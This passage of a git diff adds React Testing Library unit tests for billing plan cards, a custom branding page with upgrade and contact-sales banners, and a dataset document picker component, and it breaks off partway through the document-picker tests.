index 0000000000..fec17ca838
--- /dev/null
+++ b/web/app/components/billing/pricing/plans/self-hosted-plan-item/index.spec.tsx
@@ -0,0 +1,143 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import SelfHostedPlanItem from './index'
+import { SelfHostedPlan } from '../../../type'
+import { contactSalesUrl, getStartedWithCommunityUrl, getWithPremiumUrl } from '../../../config'
+import { useAppContext } from '@/context/app-context'
+import Toast from '../../../../base/toast'
+
+const featuresTranslations: Record<string, string[]> = {
+  'billing.plans.community.features': ['community-feature-1', 'community-feature-2'],
+  'billing.plans.premium.features': ['premium-feature-1'],
+  'billing.plans.enterprise.features': ['enterprise-feature-1'],
+}
+
+jest.mock('react-i18next', () => ({
+  useTranslation: () => ({
+    t: (key: string, options?: Record<string, unknown>) => {
+      if (options?.returnObjects)
+        return featuresTranslations[key] || []
+      return key
+    },
+  }),
+  Trans: ({ i18nKey }: { i18nKey: string }) => <span>{i18nKey}</span>,
+}))
+
+jest.mock('../../../../base/toast', () => ({
+  __esModule: true,
+  default: {
+    notify: jest.fn(),
+  },
+}))
+
+jest.mock('@/context/app-context', () => ({
+  useAppContext: jest.fn(),
+}))
+
+jest.mock('../../assets', () => ({
+  Community: () => <div>Community Icon</div>,
+  Premium: () => <div>Premium Icon</div>,
+  Enterprise: () => <div>Enterprise Icon</div>,
+  PremiumNoise: () => <div>PremiumNoise</div>,
+  EnterpriseNoise: () => <div>EnterpriseNoise</div>,
+}))
+
+jest.mock('@/app/components/base/icons/src/public/billing', () => ({
+  Azure: () => <div>Azure</div>,
+  GoogleCloud: () => <div>Google Cloud</div>,
+  AwsMarketplaceDark: () => <div>AwsMarketplaceDark</div>,
+  AwsMarketplaceLight: () => <div>AwsMarketplaceLight</div>,
+}))
+
+const mockUseAppContext = useAppContext as jest.Mock
+const mockToastNotify = Toast.notify as jest.Mock
+
+let assignedHref = ''
+const originalLocation = window.location
+
+beforeAll(() => {
+  Object.defineProperty(window, 'location', {
+    configurable: true,
+    value: {
+      get href() {
+        return assignedHref
+      },
+      set href(value: string) {
+        assignedHref = value
+      },
+    } as unknown as Location,
+  })
+})
+
+afterAll(() => {
+  Object.defineProperty(window, 'location', {
+    configurable: true,
+    value: originalLocation,
+  })
+})
+
+beforeEach(() => {
+  jest.clearAllMocks()
+  mockUseAppContext.mockReturnValue({ isCurrentWorkspaceManager: true })
+  assignedHref = ''
+})
+
+describe('SelfHostedPlanItem', () => {
+  // Copy rendering for each plan
+  describe('Rendering', () => {
+    test('should display community plan info', () => {
+      render(<SelfHostedPlanItem plan={SelfHostedPlan.community} />)
+
+      expect(screen.getByText('billing.plans.community.name')).toBeInTheDocument()
+      expect(screen.getByText('billing.plans.community.description')).toBeInTheDocument()
+      expect(screen.getByText('billing.plans.community.price')).toBeInTheDocument()
+      expect(screen.getByText('billing.plans.community.includesTitle')).toBeInTheDocument()
+      expect(screen.getByText('community-feature-1')).toBeInTheDocument()
+    })
+
+    test('should show premium extras such as cloud provider notice', () => {
+      render(<SelfHostedPlanItem plan={SelfHostedPlan.premium} />)
+
+      expect(screen.getByText('billing.plans.premium.price')).toBeInTheDocument()
+      expect(screen.getByText('billing.plans.premium.comingSoon')).toBeInTheDocument()
+      expect(screen.getByText('Azure')).toBeInTheDocument()
+      expect(screen.getByText('Google Cloud')).toBeInTheDocument()
+    })
+  })
+
+  // CTA behavior for each plan
+  describe('CTA interactions', () => {
+    test('should show toast when non-manager tries to proceed', () => {
+      mockUseAppContext.mockReturnValue({ isCurrentWorkspaceManager: false })
+
+      render(<SelfHostedPlanItem plan={SelfHostedPlan.premium} />)
+      fireEvent.click(screen.getByRole('button', { name: /billing\.plans\.premium\.btnText/ }))
+
+      expect(mockToastNotify).toHaveBeenCalledWith(expect.objectContaining({
+        type: 'error',
+        message: 'billing.buyPermissionDeniedTip',
+      }))
+    })
+
+    test('should redirect to community url when community plan button clicked', () => {
+      render(<SelfHostedPlanItem plan={SelfHostedPlan.community} />)
+
+      fireEvent.click(screen.getByRole('button', { name: 'billing.plans.community.btnText' }))
+      expect(assignedHref).toBe(getStartedWithCommunityUrl)
+    })
+
+    test('should redirect to premium marketplace url when premium button clicked', () => {
+      render(<SelfHostedPlanItem plan={SelfHostedPlan.premium} />)
+
+      fireEvent.click(screen.getByRole('button', { name: /billing\.plans\.premium\.btnText/ }))
+      expect(assignedHref).toBe(getWithPremiumUrl)
+    })
+
+    test('should redirect to contact sales form when enterprise button clicked', () => {
+      render(<SelfHostedPlanItem plan={SelfHostedPlan.enterprise} />)
+
+      fireEvent.click(screen.getByRole('button', { name: 'billing.plans.enterprise.btnText' }))
+      expect(assignedHref).toBe(contactSalesUrl)
+    })
+  })
+})
diff --git a/web/app/components/billing/pricing/plans/self-hosted-plan-item/list/index.spec.tsx b/web/app/components/billing/pricing/plans/self-hosted-plan-item/list/index.spec.tsx
new file mode 100644
index 0000000000..dfdb917cbf
--- /dev/null
+++ b/web/app/components/billing/pricing/plans/self-hosted-plan-item/list/index.spec.tsx
@@ -0,0 +1,25 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import List from './index'
+import { SelfHostedPlan } from '@/app/components/billing/type'
+
+jest.mock('react-i18next', () => ({
+  useTranslation: () => ({
+    t: (key: string, options?: Record<string, unknown>) => {
+      if (options?.returnObjects)
+        return ['Feature A', 'Feature B']
+      return key
+    },
+  }),
+  Trans: ({ i18nKey }: { i18nKey: string }) => <span>{i18nKey}</span>,
+}))
+
+describe('SelfHostedPlanItem/List', () => {
+  test('should render plan info', () => {
+    render(<List plan={SelfHostedPlan.community} />)
+
+    expect(screen.getByText('billing.plans.community.includesTitle')).toBeInTheDocument()
+    expect(screen.getByText('Feature A')).toBeInTheDocument()
+    expect(screen.getByText('Feature B')).toBeInTheDocument()
+  })
+})
diff --git a/web/app/components/billing/pricing/plans/self-hosted-plan-item/list/item.spec.tsx b/web/app/components/billing/pricing/plans/self-hosted-plan-item/list/item.spec.tsx
new file mode 100644
index 0000000000..38e14373dc
--- /dev/null
+++ b/web/app/components/billing/pricing/plans/self-hosted-plan-item/list/item.spec.tsx
@@ -0,0 +1,12 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import Item from './item'
+
+describe('SelfHostedPlanItem/List/Item', () => {
+  test('should display provided feature label', () => {
+    const { container } = render(<Item label="Dedicated support" />)
+
+    expect(screen.getByText('Dedicated support')).toBeInTheDocument()
+    expect(container.querySelector('svg')).not.toBeNull()
+  })
+})
diff --git a/web/app/components/custom/custom-page/index.spec.tsx b/web/app/components/custom/custom-page/index.spec.tsx
new file mode 100644
index 0000000000..f260236587
--- /dev/null
+++ b/web/app/components/custom/custom-page/index.spec.tsx
@@ -0,0 +1,500 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import CustomPage from './index'
+import { Plan } from '@/app/components/billing/type'
+import { createMockProviderContextValue } from '@/__mocks__/provider-context'
+import { contactSalesUrl } from '@/app/components/billing/config'
+
+// Mock external dependencies only
+jest.mock('@/context/provider-context', () => ({
+  useProviderContext: jest.fn(),
+}))
+
+jest.mock('@/context/modal-context', () => ({
+  useModalContext: jest.fn(),
+}))
+
+// Mock the complex CustomWebAppBrand component to avoid dependency issues
+// This is acceptable because it has complex dependencies (fetch, APIs)
+jest.mock('../custom-web-app-brand', () => ({
+  __esModule: true,
+  default: () => <div data-testid="custom-web-app-brand">CustomWebAppBrand</div>,
+}))
+
+// Get the mocked functions
+const { useProviderContext } = jest.requireMock('@/context/provider-context')
+const { useModalContext } = jest.requireMock('@/context/modal-context')
+
+describe('CustomPage', () => {
+  const mockSetShowPricingModal = jest.fn()
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+
+    // Default mock setup
+    useModalContext.mockReturnValue({
+      setShowPricingModal: mockSetShowPricingModal,
+    })
+  })
+
+  // Helper function to render with different provider contexts
+  const renderWithContext = (overrides = {}) => {
+    useProviderContext.mockReturnValue(
+      createMockProviderContextValue(overrides),
+    )
+    return render(<CustomPage />)
+  }
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      renderWithContext()
+
+      // Assert
+      expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument()
+    })
+
+    it('should always render CustomWebAppBrand component', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument()
+    })
+
+    it('should have correct layout structure', () => {
+      // Arrange & Act
+      const { container } = renderWithContext()
+
+      // Assert
+      const mainContainer = container.querySelector('.flex.flex-col')
+      expect(mainContainer).toBeInTheDocument()
+    })
+  })
+
+  // Conditional Rendering - Billing Tip
+  describe('Billing Tip Banner', () => {
+    it('should show billing tip when enableBilling is true and plan is sandbox', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      expect(screen.getByText('custom.upgradeTip.title')).toBeInTheDocument()
+      expect(screen.getByText('custom.upgradeTip.des')).toBeInTheDocument()
+      expect(screen.getByText('billing.upgradeBtn.encourageShort')).toBeInTheDocument()
+    })
+
+    it('should not show billing tip when enableBilling is false', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: false,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument()
+      expect(screen.queryByText('custom.upgradeTip.des')).not.toBeInTheDocument()
+    })
+
+    it('should not show billing tip when plan is professional', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.professional },
+      })
+
+      // Assert
+      expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument()
+      expect(screen.queryByText('custom.upgradeTip.des')).not.toBeInTheDocument()
+    })
+
+    it('should not show billing tip when plan is team', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.team },
+      })
+
+      // Assert
+      expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument()
+      expect(screen.queryByText('custom.upgradeTip.des')).not.toBeInTheDocument()
+    })
+
+    it('should have correct gradient styling for billing tip banner', () => {
+      // Arrange & Act
+      const { container } = renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      const banner = container.querySelector('.bg-gradient-to-r')
+      expect(banner).toBeInTheDocument()
+      expect(banner).toHaveClass('from-components-input-border-active-prompt-1')
+      expect(banner).toHaveClass('to-components-input-border-active-prompt-2')
+      expect(banner).toHaveClass('p-4')
+      expect(banner).toHaveClass('pl-6')
+      expect(banner).toHaveClass('shadow-lg')
+    })
+  })
+
+  // Conditional Rendering - Contact Sales
+  describe('Contact Sales Section', () => {
+    it('should show contact section when enableBilling is true and plan is professional', () => {
+      // Arrange & Act
+      const { container } = renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.professional },
+      })
+
+      // Assert - Check that contact section exists with all parts
+      const contactSection = container.querySelector('.absolute.bottom-0')
+      expect(contactSection).toBeInTheDocument()
+      expect(contactSection).toHaveTextContent('custom.customize.prefix')
+      expect(screen.getByText('custom.customize.contactUs')).toBeInTheDocument()
+      expect(contactSection).toHaveTextContent('custom.customize.suffix')
+    })
+
+    it('should show contact section when enableBilling is true and plan is team', () => {
+      // Arrange & Act
+      const { container } = renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.team },
+      })
+
+      // Assert - Check that contact section exists with all parts
+      const contactSection = container.querySelector('.absolute.bottom-0')
+      expect(contactSection).toBeInTheDocument()
+      expect(contactSection).toHaveTextContent('custom.customize.prefix')
+      expect(screen.getByText('custom.customize.contactUs')).toBeInTheDocument()
+      expect(contactSection).toHaveTextContent('custom.customize.suffix')
+    })
+
+    it('should not show contact section when enableBilling is false', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: false,
+        plan: { type: Plan.professional },
+      })
+
+      // Assert
+      expect(screen.queryByText('custom.customize.prefix')).not.toBeInTheDocument()
+      expect(screen.queryByText('custom.customize.contactUs')).not.toBeInTheDocument()
+    })
+
+    it('should not show contact section when plan is sandbox', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      expect(screen.queryByText('custom.customize.prefix')).not.toBeInTheDocument()
+      expect(screen.queryByText('custom.customize.contactUs')).not.toBeInTheDocument()
+    })
+
+    it('should render contact link with correct URL', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.professional },
+      })
+
+      // Assert
+      const link = screen.getByText('custom.customize.contactUs').closest('a')
+      expect(link).toHaveAttribute('href', contactSalesUrl)
+      expect(link).toHaveAttribute('target', '_blank')
+      expect(link).toHaveAttribute('rel', 'noopener noreferrer')
+    })
+
+    it('should have correct positioning for contact section', () => {
+      // Arrange & Act
+      const { container } = renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.professional },
+      })
+
+      // Assert
+      const contactSection = container.querySelector('.absolute.bottom-0')
+      expect(contactSection).toBeInTheDocument()
+      expect(contactSection).toHaveClass('h-[50px]')
+      expect(contactSection).toHaveClass('text-xs')
+      expect(contactSection).toHaveClass('leading-[50px]')
+    })
+  })
+
+  // User Interactions
+  describe('User Interactions', () => {
+    it('should call setShowPricingModal when upgrade button is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Act
+      const upgradeButton = screen.getByText('billing.upgradeBtn.encourageShort')
+      await user.click(upgradeButton)
+
+      // Assert
+      expect(mockSetShowPricingModal).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call setShowPricingModal without arguments', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Act
+      const upgradeButton = screen.getByText('billing.upgradeBtn.encourageShort')
+      await user.click(upgradeButton)
+
+      // Assert
+      expect(mockSetShowPricingModal).toHaveBeenCalledWith()
+    })
+
+    it('should handle multiple clicks on upgrade button', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Act
+      const upgradeButton = screen.getByText('billing.upgradeBtn.encourageShort')
+      await user.click(upgradeButton)
+      await user.click(upgradeButton)
+      await user.click(upgradeButton)
+
+      // Assert
+      expect(mockSetShowPricingModal).toHaveBeenCalledTimes(3)
+    })
+
+    it('should have correct button styling for upgrade button', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      const upgradeButton = screen.getByText('billing.upgradeBtn.encourageShort')
+      expect(upgradeButton).toHaveClass('cursor-pointer')
+      expect(upgradeButton).toHaveClass('bg-white')
+      expect(upgradeButton).toHaveClass('text-text-accent')
+      expect(upgradeButton).toHaveClass('rounded-3xl')
+    })
+  })
+
+  // Edge Cases (REQUIRED)
+  describe('Edge Cases', () => {
+    it('should handle undefined plan type gracefully', () => {
+      // Arrange & Act
+      expect(() => {
+        renderWithContext({
+          enableBilling: true,
+          plan: { type: undefined },
+        })
+      }).not.toThrow()
+
+      // Assert
+      expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument()
+    })
+
+    it('should handle plan without type property', () => {
+      // Arrange & Act
+      expect(() => {
+        renderWithContext({
+          enableBilling: true,
+          plan: { type: null },
+        })
+      }).not.toThrow()
+
+      // Assert
+      expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument()
+    })
+
+    it('should not show any banners when both conditions are false', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: false,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument()
+      expect(screen.queryByText('custom.customize.prefix')).not.toBeInTheDocument()
+    })
+
+    it('should handle enableBilling undefined', () => {
+      // Arrange & Act
+      expect(() => {
+        renderWithContext({
+          enableBilling: undefined,
+          plan: { type: Plan.sandbox },
+        })
+      }).not.toThrow()
+
+      // Assert
+      expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument()
+    })
+
+    it('should show only billing tip for sandbox plan, not contact section', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      expect(screen.getByText('custom.upgradeTip.title')).toBeInTheDocument()
+      expect(screen.queryByText('custom.customize.contactUs')).not.toBeInTheDocument()
+    })
+
+    it('should show only contact section for professional plan, not billing tip', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.professional },
+      })
+
+      // Assert
+      expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument()
+      expect(screen.getByText('custom.customize.contactUs')).toBeInTheDocument()
+    })
+
+    it('should show only contact section for team plan, not billing tip', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.team },
+      })
+
+      // Assert
+      expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument()
+      expect(screen.getByText('custom.customize.contactUs')).toBeInTheDocument()
+    })
+
+    it('should handle empty plan object', () => {
+      // Arrange & Act
+      expect(() => {
+        renderWithContext({
+          enableBilling: true,
+          plan: {},
+        })
+      }).not.toThrow()
+
+      // Assert
+      expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument()
+    })
+  })
+
+  // Accessibility Tests
+  describe('Accessibility', () => {
+    it('should have clickable upgrade button', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      const upgradeButton = screen.getByText('billing.upgradeBtn.encourageShort')
+      expect(upgradeButton).toBeInTheDocument()
+      expect(upgradeButton).toHaveClass('cursor-pointer')
+    })
+
+    it('should have proper external link attributes on contact link', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.professional },
+      })
+
+      // Assert
+      const link = screen.getByText('custom.customize.contactUs').closest('a')
+      expect(link).toHaveAttribute('rel', 'noopener noreferrer')
+      expect(link).toHaveAttribute('target', '_blank')
+    })
+
+    it('should have proper text hierarchy in billing tip', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      const title = screen.getByText('custom.upgradeTip.title')
+      const description = screen.getByText('custom.upgradeTip.des')
+
+      expect(title).toHaveClass('title-xl-semi-bold')
+      expect(description).toHaveClass('system-sm-regular')
+    })
+
+    it('should use semantic color classes', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert - Check that the billing tip has text content (which implies semantic colors)
+      expect(screen.getByText('custom.upgradeTip.title')).toBeInTheDocument()
+    })
+  })
+
+  // Integration Tests
+  describe('Integration', () => {
+    it('should render both CustomWebAppBrand and billing tip together', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument()
+      expect(screen.getByText('custom.upgradeTip.title')).toBeInTheDocument()
+    })
+
+    it('should render both CustomWebAppBrand and contact section together', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.professional },
+      })
+
+      // Assert
+      expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument()
+      expect(screen.getByText('custom.customize.contactUs')).toBeInTheDocument()
+    })
+
+    it('should render only CustomWebAppBrand when no billing conditions met', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: false,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument()
+      expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument()
+      expect(screen.queryByText('custom.customize.contactUs')).not.toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/datasets/common/document-picker/index.spec.tsx b/web/app/components/datasets/common/document-picker/index.spec.tsx
new file mode 100644
index 0000000000..0ce4d8afa5
--- /dev/null
+++ b/web/app/components/datasets/common/document-picker/index.spec.tsx
@@ -0,0 +1,1094 @@
+import React from 'react'
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
+import { fireEvent, render, screen } from '@testing-library/react'
+import type { ParentMode, SimpleDocumentDetail } from '@/models/datasets'
+import { ChunkingMode, DataSourceType } from '@/models/datasets'
+import DocumentPicker from './index'
+
+// Mock portal-to-follow-elem - always render content for testing
+jest.mock('@/app/components/base/portal-to-follow-elem', () => ({
+  PortalToFollowElem: ({ children, open }: {
+    children: React.ReactNode
+    open?: boolean
+  }) => (
+    <div data-testid="portal-elem" data-open={String(open || false)}>
+      {children}
+    </div>
+  ),
+  PortalToFollowElemTrigger: ({ children, onClick }: {
+    children: React.ReactNode
+    onClick?: () => void
+  }) => (
+    <div data-testid="portal-trigger" onClick={onClick}>
+      {children}
+    </div>
+  ),
+  // Always render content to allow testing document selection
+  PortalToFollowElemContent: ({ children, className }: {
+    children: React.ReactNode
+    className?: string
+  }) => (
+    <div data-testid="portal-content" className={className}>
+      {children}
+    </div>
+  ),
+}))
+
+// Mock useDocumentList hook with controllable return value
+let mockDocumentListData: { data: SimpleDocumentDetail[] } | undefined
+let mockDocumentListLoading = false
+
+jest.mock('@/service/knowledge/use-document', () => ({
+  useDocumentList: jest.fn(() => ({
+    data: mockDocumentListLoading ? undefined : mockDocumentListData,
+    isLoading: mockDocumentListLoading,
+  })),
+}))
+
+// Mock icons - mock all remixicon components used in the component tree
+jest.mock('@remixicon/react', () => ({
+  RiArrowDownSLine: () => <span data-testid="arrow-icon">↓</span>,
+  RiFile3Fill: () => <span data-testid="file-icon">📄</span>,
+  RiFileCodeFill: () => <span data-testid="file-code-icon">📄</span>,
+  RiFileExcelFill: () => <span data-testid="file-excel-icon">📄</span>,
+  RiFileGifFill: () => <span data-testid="file-gif-icon">📄</span>,
+  RiFileImageFill: () => <span data-testid="file-image-icon">📄</span>,
+  RiFileMusicFill: () => <span data-testid="file-music-icon">📄</span>,
+  RiFilePdf2Fill: () => <span data-testid="file-pdf-icon">📄</span>,
+  RiFilePpt2Fill: () => <span data-testid="file-ppt-icon">📄</span>,
+  RiFileTextFill: () => <span data-testid="file-text-icon">📄</span>,
+  RiFileVideoFill: () => <span data-testid="file-video-icon">📄</span>,
+  RiFileWordFill: () => <span data-testid="file-word-icon">📄</span>,
+  RiMarkdownFill: () => <span data-testid="file-markdown-icon">📄</span>,
+  RiSearchLine: () => <span data-testid="search-icon">🔍</span>,
+  RiCloseLine: () => <span data-testid="close-icon">✕</span>,
+}))
+
+jest.mock('@/app/components/base/icons/src/vender/knowledge', () => ({
+  GeneralChunk: () => <span data-testid="general-chunk-icon">General</span>,
+  ParentChildChunk: () => <span data-testid="parent-child-chunk-icon">ParentChild</span>,
+}))
+
+// Factory function to create mock SimpleDocumentDetail
+const createMockDocument = (overrides: Partial<SimpleDocumentDetail> = {}): SimpleDocumentDetail => ({
+  id: `doc-${Math.random().toString(36).substr(2, 9)}`,
+  batch: 'batch-1',
+  position: 1,
+  dataset_id: 'dataset-1',
+  data_source_type: DataSourceType.FILE,
+  data_source_info: {
+    upload_file: {
+      id: 'file-1',
+      name: 'test-file.txt',
+      size: 1024,
+      extension: 'txt',
+      mime_type: 'text/plain',
+      created_by: 'user-1',
+      created_at: Date.now(),
+    },
+    // Required fields for LegacyDataSourceInfo
+    job_id: 'job-1',
+    url: '',
+  },
+  dataset_process_rule_id: 'rule-1',
+  name: 'Test Document',
+  created_from: 'web',
+  created_by: 'user-1',
+  created_at: Date.now(),
+  indexing_status: 'completed',
+  display_status: 'enabled',
+  doc_form: ChunkingMode.text,
+  doc_language: 'en',
+  enabled: true,
+  word_count: 1000,
+  archived: false,
+  updated_at: Date.now(),
+  hit_count: 0,
+  data_source_detail_dict: {
+    upload_file: {
+      name: 'test-file.txt',
+      extension: 'txt',
+    },
+  },
+  ...overrides,
+})
+
+// Factory function to create multiple documents
+const createMockDocumentList = (count: number): SimpleDocumentDetail[] => {
+  return Array.from({ length: count }, (_, index) =>
+    createMockDocument({
+      id: `doc-${index + 1}`,
+      name: `Document ${index + 1}`,
+      data_source_detail_dict: {
+        upload_file: {
+          name: `document-${index + 1}.pdf`,
+          extension: 'pdf',
+        },
+      },
+    }),
+  )
+}
+
+// Factory function to create props
+const createDefaultProps = (overrides: Partial<React.ComponentProps<typeof DocumentPicker>> = {}) => ({
+  datasetId: 'dataset-1',
+  value: {
+    name: 'Test Document',
+    extension: 'txt',
+    chunkingMode: ChunkingMode.text,
+    parentMode: undefined as ParentMode | undefined,
+  },
+  onChange: jest.fn(),
+  ...overrides,
+})
+
+// Create a new QueryClient for each test
+const createTestQueryClient = () =>
+  new QueryClient({
+    defaultOptions: {
+      queries: {
+        retry: false,
+        gcTime: 0,
+        staleTime: 0,
+      },
+    },
+  })
+
+// Helper to render component with providers
+const renderComponent = (props: Partial<React.ComponentProps<typeof DocumentPicker>> = {}) => {
+  const queryClient = createTestQueryClient()
+  const defaultProps = createDefaultProps(props)
+
+  return {
+    ...render(
+      <QueryClientProvider client={queryClient}>
+        <DocumentPicker {...defaultProps} />
+      </QueryClientProvider>,
+    ),
+    queryClient,
+    props: defaultProps,
+  }
+}
+
+describe('DocumentPicker', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    // Reset mock state
+    mockDocumentListData = { data: createMockDocumentList(5) }
+    mockDocumentListLoading = false
+  })
+
+  // Tests for basic rendering
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      renderComponent()
+
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should render document name when provided', () => {
+      renderComponent({
+        value: {
+          name: 'My Document',
+          extension: 'pdf',
+          chunkingMode: ChunkingMode.text,
+        },
+      })
+
+      expect(screen.getByText('My Document')).toBeInTheDocument()
+    })
+
+    it('should render placeholder when name is not provided', () => {
+      renderComponent({
+        value: {
+          name: undefined,
+          extension: 'pdf',
+          chunkingMode: ChunkingMode.text,
+        },
+      })
+
+      expect(screen.getByText('--')).toBeInTheDocument()
+    })
+
+    it('should render arrow icon', () => {
+      renderComponent()
+
+      expect(screen.getByTestId('arrow-icon')).toBeInTheDocument()
+    })
+
+    it('should render GeneralChunk icon for text mode', () => {
+      renderComponent({
+        value: {
+          name: 'Test',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.text,
+        },
+      })
+
+      expect(screen.getByTestId('general-chunk-icon')).toBeInTheDocument()
+    })
+
+    it('should render ParentChildChunk icon for parentChild mode', () => {
+      renderComponent({
+        value: {
+          name: 'Test',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.parentChild,
+        },
+      })
+
+      expect(screen.getByTestId('parent-child-chunk-icon')).toBeInTheDocument()
+    })
+
+    it('should render GeneralChunk icon for QA mode', () => {
+      renderComponent({
+        value: {
+          name: 'Test',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.qa,
+        },
+      })
+
+      expect(screen.getByTestId('general-chunk-icon')).toBeInTheDocument()
+    })
+
+    it('should render general mode label', () => {
+      renderComponent({
+        value: {
+          name: 'Test',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.text,
+        },
+      })
+
+      expect(screen.getByText('dataset.chunkingMode.general')).toBeInTheDocument()
+    })
+
+    it('should render QA mode label', () => {
+      renderComponent({
+        value: {
+          name: 'Test',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.qa,
+        },
+      })
+
+      expect(screen.getByText('dataset.chunkingMode.qa')).toBeInTheDocument()
+    })
+
+    it('should render parentChild mode label with paragraph parent mode', () => {
+      renderComponent({
+        value: {
+          name: 'Test',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.parentChild,
+          parentMode: 'paragraph',
+        },
+      })
+
+      expect(screen.getByText(/dataset.chunkingMode.parentChild/)).toBeInTheDocument()
+      expect(screen.getByText(/dataset.parentMode.paragraph/)).toBeInTheDocument()
+    })
+
+    it('should render parentChild mode label with full-doc parent mode', () => {
+      renderComponent({
+        value: {
+          name: 'Test',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.parentChild,
+          parentMode: 'full-doc',
+        },
+      })
+
+      expect(screen.getByText(/dataset.chunkingMode.parentChild/)).toBeInTheDocument()
+      expect(screen.getByText(/dataset.parentMode.fullDoc/)).toBeInTheDocument()
+    })
+
+    it('should render placeholder for parentMode when not provided', () => {
+      renderComponent({
+        value: {
+          name: 'Test',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.parentChild,
+          parentMode: undefined,
+        },
+      })
+
+      // parentModeLabel should be '--' when parentMode is not provided
+      expect(screen.getByText(/--/)).toBeInTheDocument()
+    })
+  })
+
+  // Tests for props handling
+  describe('Props', () => {
+    it('should accept required props', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        datasetId: 'test-dataset',
+        value: {
+          name: 'Test',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.text,
+        },
+        onChange,
+      })
+
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should handle value with all fields', () => {
+      renderComponent({
+        value: {
+          name: 'Full Document',
+          extension: 'docx',
+          chunkingMode: ChunkingMode.parentChild,
+          parentMode: 'paragraph',
+        },
+      })
+
+      expect(screen.getByText('Full Document')).toBeInTheDocument()
+    })
+
+    it('should handle value with minimal fields', () => {
+      renderComponent({
+        value: {
+          name: undefined,
